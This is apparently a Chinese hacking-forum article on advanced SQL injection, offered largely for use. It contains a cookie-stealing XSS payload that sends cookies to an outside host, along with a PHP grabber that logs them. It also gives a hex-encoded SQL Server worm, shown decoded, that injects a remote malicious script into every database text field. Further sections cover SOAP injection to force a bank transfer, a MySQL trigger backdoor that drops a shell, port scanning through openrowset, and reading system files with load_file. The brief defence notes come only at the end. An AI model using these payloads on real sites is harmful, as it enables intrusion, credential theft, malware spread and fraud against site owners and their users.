稍微整理了下,有点乱
author:邪公子(evilboy)
0x01 SQL注入攻击内部机理透视
SQL注入攻击已经出现很长时间,给很多的网站带来了危害,而且貌似还在继续着。国内关于SQL注入的攻击方式貌似已经比较成熟的,像一些大型的网站,基本上都会很好的对SQL注入攻击进行防御,好象攻击和防御在平衡,如何突破这中平衡,是个很好的课题,正好应和了黑防的口号,在攻与防的对立中寻找突破。本文我们主要讨论SQL攻击深层一点的技术,讨论一些具备艺术性的注入技术。
SQL注入本质个人总结,SQL注入本质就是越权对数据库的操作。同时,个人认为SQL注入不一定仅仅局限与WEB系统,可能也会存在与软件和其他系统等等。常见的WEB型的SQL注入攻击就是通过客户对WEB的恶意操作,进行获取信息和恶意攻击。这里仅仅讨论该类。
如何艺术的实现SQL注入或者更有效的更大发挥其价值,是我们讨论的核心。首先,我们必须对特定数据库足够了解,才能更加的发挥其功能,而不仅仅局限与简单的and 1=1和and 1=2.对数据库的了解这个是相当必要的。否则永远局限与别人的攻击方式上。
下面会通过介绍几种不是很常见的攻击方式,来充分的理解其含义和帮助我们更好的发挥SQL注入的艺术。
0x02 实例小谈SQL注入高级攻击方式
以下只是笔者见到的部分特别的SQL注入攻击技术,由于篇幅原因,所以选择以下几个予以说明,更多详情,希望能够专门建立一个类似的项目,来更加充分的总结和学习经验。
SQL注入之XSS攻击
国外称该类攻击为XFS,通过将javascript进行char(),带入sql语句中,抱错的时候,会造成char中字符解析,执行xss代码。当然这类攻击是有一定的局限性的,但是还是可以很好的利用的。
<SCRIPT>alert('xss')</script>,这是一个弹出xss的xss代码,首先我们需要将其进行char转换,然后好带入sql注入语句。
转换后字符如下:
ASCII : 60 83 67 82 73 80 84 62 97 108 101 114 116 40 39 120 115 115 39 #41 60 47 115 99 114 105 112 116 62
然后,我们通过将其带入SQL语句,使欺骗用户点击后弹出xss代码,当然,这里只是一个介绍,大家可以可以把他用的更邪恶。比如,窃取COOKIE及挂马等等。以下是cookie收集代码,使用方法:
<SCRIPT>location.href='http://www.yoursite.com/cookie.php?#cookie='+escape(document.cookie)</SCRIPT>
<?php
$cookies = $_GET["cookie"];
if($cookies)
{
$grab = fopen("grab.txt","a");
fputs($grab, $cookies . "\r\n");
fclose($grab);
}
?>
XFS测试代码环境如下:
http://www.test.com/test.php?id=null+union+select+1,2,3,4,5,char(60,83,67,82,73,80,84,62,97,108,101,114,116,40,39,120,115,115,39,41,60,47,115,99,114,105,112,116,62),7,8--
SOAP注入
简单对象访问协议(SOAP)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。 SOAP 可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议( HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。它还支持从消息系统到远程过程调用(RPC)等大量的应用程序。 具体这里就不浪费笔墨了,大家可以百度下。表面上不属于SQL注入,但确实很有意思的一种攻击。包括XML插入XSS攻击,都是需要了解的。
注入soap 一个银行程序 POST /transfer.asp HTTP/1.0 Host: wahh-bank.com Content-Length: 65 FromAccount=18281008&Amount=1430&ToAccount=0844766&Submit=Submit 在处理这个请求的过程中,应用程序在后端组件传送下面soap消息 <soap:Envelope xmlns=http://www.w3.org/2001/12/soap-envelope> <soap:Body> <Account> <FromAccount>18281008</FromAccount> <Amount>1430</Amount> <ClearedFunds>False</ClearFunds> <ToAccount>0844766</ ToAccount> </Account> </soap:Body> </soap:Envelope> 应用程序逻辑确定没有足够资金转账时,将元素ClearedFunds设置为false,因此受到soap消息的组件将拒绝转账 如果应用程序处理它遇到的第一个CleraFunds元素,那么即使账户没有足够资金,也可以成功转账 POST /transfer.asp HTTP/1.0 Host: wahh-bank.com Content-Length: 65 FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True</ClearedFunds ><Amount>1430&ToAccount=0844766&Submit=Submit
<soap:Envelope xmlns=http://www.w3.org/2001/12/soap-envelope> <soap:Body> <Account> <FromAccount>18281008</FromAccount> <Amount>1430</Amount><ClearedFunds>True</ClearedFunds ><Amount>1430</Amount> <ClearedFunds>False</ClearFunds> <ToAccount>0844766</ ToAccount> </Account> </soap:Body> </soap:Envelope>
这样就实现了第一个ClearedFunds为TRUE,造成成功转帐。结合了网上的一个例子。
包括XML的注入技术,貌似都是大牛们用,没见其他人杂谈过,我太孤陋寡闻。
3.SQL注入实现端口扫描
我们可以通过一个SQL注入漏洞对一个IP或者网段进行端口扫描,当然这种攻击主要是SQL server数据库。
例子:http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=10.10.10.12,80;timeout=5','select * from table')--
如果成功连接10.10.10.12的80端口,将显示:
"General network error. Check your network documentation"或者"OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error."
连接错误,将显示SQL Server does not exist or access denied
SQL注入蠕虫
通过SQL注入,我们可以实现蠕虫,对每个页面插入恶意代码,很邪恶,适用与SQL Server。
例子:
';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C004100520045002000400054002000760061007200630068006100720028003200350035
0029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F004300
7500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E
0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E0073002000
6200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D0027007500270020
0061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F0072002000
62002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100AS%20NVARCHAR(4000));EXEC(@S);--
Decode这些代码,源代码如下:
DECLARE @T VARCHAR(255)
DECLARE @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT [A].[Name], [B].[Name]
FROM sysobjects AS [A], syscolumns AS [B]
WHERE [A].[ID] = [B].[ID] AND
[A].[XType] = 'U' /* Table (User-Defined) */ AND
([B].[XType] = 99 /* NTEXT */ OR
[B].[XType] = 35 /* TEXT */ OR
[B].[XType] = 231 /* SYSNAME */ OR
[B].[XType] = 167 /* VARCHAR */)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://www.fengnima.cn/k.js"></script>''')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
一个小程序。
搜索框注入技术
搜索框注入是基本SQL注入的简单升华,在某些情况同样是可以实现的,抓住本质,如何注入就看你怎么发挥了,所以,最主要的还是研究其本质,了解了本质,就会下不管什么方式,都是很好了解的,同样,针对类似的如登陆框注入等,都是可以的。
以下是简单判断是否存在注入的方法。
搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;b.搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;c.搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况d.搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况,根据两次的返回情况来判断是不是搜索型文本框注入了
剩下的就是手工注入了。
触发器攻击
触发器(trigger)是个特殊的存储过程,它的执行不是由程序调用,也不是手工启动,而是由个事件来触发,比如当对一个表进行操作(insert,delete,update)时就会激活它执行。触发器经常用于加强数据的完整性约束和业务规则等。触发器可以从DBA_TRIGGERS,USER_TRIGGERS数据字典中查到。
触发器可以查询其他表,而且可以包含复杂的SQL语句。它们主要用于强制服从复杂的业务规则或要求。例如:您可以根据客户当前的帐户状态,控制是否允许插入新订单。
触发器也可用于强制引用完整性,以便在多个表中添加、更新或删除行时,保留在这些表之间所定义的关系。
SQL SERVER的注入国内有很好的例子和工具了,mysql5版本后开始支持触发器,貌似国内看到MYSQL触发器用法的比较少,这里笔者给出个简单demo:
CREATE TRIGGER Ha0K AFTER UPDATE ON admin FOR EACH ROW SELECT '恶意代码' into outfile 恶意文件路径(如启动项);当更新admin表的时候就出发该后门,自动在规定的地方导出恶意文件,如shell等。
7.SQL注入DOS攻击
这里就不多讲了,假如我们可以对loadfile,那就尝试loadfile,尝试消耗服务器数据库进程,类似CC刷数据库原理,均是通过数据库进程使CPU内存升高,形成拒绝服务。(当然得有load权限)
Loadfile攻击
还是利用loadfile,不过这里是通过loadfile直接窃取系统机密文件,如以下代码:
实例:$q = "Select * FROM users WHERE id=$id;"; Users表中如果有5个字段:Id、Username、Password、Userdetail、Regtime。通过网页显示出来的用户资料信息是4个字段:Id、Username、Userdetail、Regtime如果Username,Userdetail是字符类型的通常我们就可以利用了它来构造。构造语句:选择一个不存在的ID,或是直接加上and 1=2造成Union Select语句,前面一条Select没有正常执行,后面一条Select正常,从而显示后面一条Select语句的值。Id参数: 1 and 1=2 union Select 1,1,1,loadfile(load_file(char(99,58,47,98,111,111,116,46,105,110,105)),1 这里Char(99,58,47,98,111,111,116,46,105,110,105)就是C:\boot.ini每个字符相对应的ASCII码。权限等级足够的话可以用读出c:\boot.ini。
9.cookie注入攻击
Cookie注入,也是相当有意思的一种注入技术,貌似看到大家的理解主要在于asp上。
ID=Request("ID") ,由于执行顺序为GET,POST,COOKIE,通常防注入只防了GET和POST,所以可以造成PASS。
方法:在输入框中输入 javascript:alert(document.cookie="id="+escape("123 and 1=1")); 刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
javascript:alert(document.cookie="id="+escape("123 and 1=2"));刷新一下页面。 如果不正常显示,这就表示有注入。
SQL注入中获取数据的一些技巧
这里参考了0dayjun的文章的介绍,上传shell的本质主要核心还是在于获取数据,只是更方便而已,所以,这里可以通过简单的技巧,是可以很简单的直接获取大量数据。
详情,大家请参考0dayjun网站吧,这里就不占用笔墨了。
0x03 SQL防护措施
以上各种方法对环境都是有一定要求的,比如某些情况下只能适合myslq,或者ms sql等,具体看情况了。主要的核心还是大家对基础知识的了解,否则,就只能是个工具黑客了。其实,还有很多注入方法,这里就不多说了,怕占太多笔墨了,嘿嘿。
SQL注入防护的方法很多,针对asp,比如neaao写的SQL过滤程序,直接包含进去就OK,但是,还是有些方式有可能bypass这些IDS过滤。当然,简单的是可以防护的。或者将变量用引号括住,适合php,最好对带入参数进行过滤,如数字型的,进行数据判断,还有关闭错误回显等。针对jsp的好象不是很多,但是也是存在注入漏洞的。牛人们对这方面的研究都烂了,咱就不说了,太丢人了。但是很多大站还是存在这些问题的哦,比如,前段时间sohu分站注入等,毕竟站大了,啥漏洞都会有贝。嘿嘿。
0x04 小结
SQL注入攻击,我认为应该是不会结束的,还会不断持续,不断有新的方式出现展现其魅力。即便是程序方面做了防护,但是各个方面都有可能出问题,从而最终实现注入。本人对SQL注入研究刚开始而已,希望各牛人提意见,希望大家能够建一个项目,主要做SQL注入方面的,我想这样会对总结经验和探讨很有好处吧。